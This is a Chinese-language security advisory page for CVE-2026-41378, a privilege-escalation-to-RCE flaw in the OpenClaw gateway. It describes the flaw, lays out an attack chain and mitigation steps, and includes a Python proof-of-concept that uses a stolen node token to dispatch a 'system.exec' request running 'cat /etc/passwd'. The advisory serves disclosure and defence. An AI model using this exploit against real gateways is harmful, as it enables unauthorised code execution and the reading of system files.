IPBUF安全漏洞报告
English
CVE-2026-41378 CVSS 8.8 高危

CVE-2026-41378 OpenClaw权限提升致远程代码执行漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41378
漏洞类型
权限提升, 远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

RCE权限提升OpenClawCVE-2026-41378网关安全

漏洞概述

OpenClaw 2026.3.31之前版本存在权限提升漏洞。攻击者利用具有node角色的配对节点凭据,可调度不受限制的node.event agent请求,进而访问网关端工具。通过利用不受限制的agent.request调度机制,攻击者能够将权限提升至在网关上执行任意代码,严重影响系统机密性、完整性和可用性。

技术细节

该漏洞的核心成因在于OpenClaw对配对节点请求处理的权限校验机制存在缺陷。在2026.3.31之前的版本中,被分配为`role=node`的已配对节点拥有发起`node.event agent`请求的权限。然而,系统在网关端处理此类请求时,未能对节点可访问的工具及操作范围实施严格的隔离与限制。攻击者一旦获取了受信配对节点的认证凭证,即可利用这一逻辑漏洞,构造并发送不受限制的`agent.request`调度指令。由于网端缺乏足够的验证机制,攻击者能够借此绕过安全边界,直接在网关服务器上触发敏感操作或执行系统级命令。这种利用方式将原本受限的节点权限提升为网关级的完全控制,最终导致远程代码执行,严重威胁系统安全。

攻击链分析

STEP 1
1. 获取凭据
攻击者通过信息窃取或漏洞利用获取OpenClaw受信配对节点的认证凭证。
STEP 2
2. 建立连接
攻击者使用获取的节点凭证,以role=node的身份连接到OpenClaw网关。
STEP 3
3. 构造恶意请求
利用系统漏洞,构造包含恶意指令的node.event agent请求或agent.request调度数据。
STEP 4
4. 权限提升与RCE
网端处理该请求时,由于缺乏权限校验,直接执行攻击者指定的操作,导致在网关侧实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json def exploit_openclaw(target_url, node_token): """ PoC for CVE-2026-41378: OpenClaw Privilege Escalation via Unrestricted Agent Dispatch. This script demonstrates how a paired node can escalate privileges to RCE on the gateway. """ headers = { "Authorization": f"Bearer {node_token}", "Content-Type": "application/json", "User-Agent": "OpenClaw-Node/1.0" } # Malicious payload exploiting unrestricted agent.request dispatch # Attempting to execute a shell command on the gateway payload = { "node": "trusted_attacker_node", "type": "agent.request", "event": "system.exec", "params": { "command": "cat /etc/passwd", "args": [] } } try: response = requests.post(f"{target_url}/api/node/dispatch", headers=headers, json=payload, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": target = "https://<openclaw-gateway-ip>" token = "<stolen_or_leaked_node_token>" exploit_openclaw(target, token)

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
如果无法立即升级,建议暂时撤销所有不可信节点的配对权限,并在网络层面严格限制节点对网关API的访问。同时,密切监控网关日志中是否存在异常的agent.request调用。对于已暴露的节点,必须强制重置其认证密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表